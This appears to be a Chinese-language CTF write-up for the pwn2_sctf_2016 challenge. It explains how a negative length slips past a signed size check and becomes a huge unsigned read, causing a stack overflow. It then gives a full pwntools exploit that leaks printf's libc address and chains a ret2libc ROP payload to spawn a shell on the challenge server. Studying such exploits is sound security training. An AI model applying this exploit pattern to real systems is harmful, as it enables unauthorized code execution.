这题利用的是负数转无符号数造成缓冲区溢出,以及泄露libc基地址执行ROP
题目分析
由于NX开启,我们考虑使用ROP,Canary没有打开使得这题变得很方便
下面是vuln函数:
在该函数中,程序读入一个字符串并转化为带符号整形(signed int),这时,如果我们输入负数可以避开不能大于32的检查
在get_n函数中,读入长度被强制转换为unsigned int,此时-1变成了4294967295。使得我们能够进行缓冲区溢出攻击
漏洞利用
根据之前分析,我们能进行缓冲区溢出修改程序返回值,所以利用过程如下
- 我们先调用printf函数将printf的got表的值打印出来,根据它使用LibcSearcher计算libc的基地址,并让程序跳转到main开头,ROP链为p32(printf_plt) + p32(main) + p32(printf_got)
- 构造ROP链为p32(system) + p32(main) + p32(bin_sh)就能获得shell了
Exp
from pwn import *
from LibcSearcher import *
r = remote("node3.buuoj.cn", 29935)
#r = process("./pwn2_sctf_2016")
elf = ELF("./pwn2_sctf_2016")
printf_plt = elf.plt['printf']
printf_got = elf.got['printf']
main = 0x080485B8
print r.recvuntil("How many bytes do you want me to read? ")
r.sendline('-1')
print r.recvuntil('\n')
payload = 'a' * 0x30 + p32(printf_plt) + p32(main) + p32(printf_got)
r.sendline(payload)
print r.recvuntil('\n')
printf_addr = u32(r.recv(4))
print "printf:", hex(printf_addr)
libc = LibcSearcher('printf', printf_addr)
libc_base = printf_addr - libc.dump('printf')
system = libc_base + libc.dump('system')
bin_sh = libc_base + libc.dump('str_bin_sh')
print "system:", hex(system)
print "bin_sh", hex(bin_sh)
print r.recvuntil("How many bytes do you want me to read? ")
r.sendline('-1')
print r.recvuntil('\n')
payload = 'a' * 0x30 + p32(system) + p32(main) + p32(bin_sh)
r.sendline(payload)
r.interactive()
成功获得shell: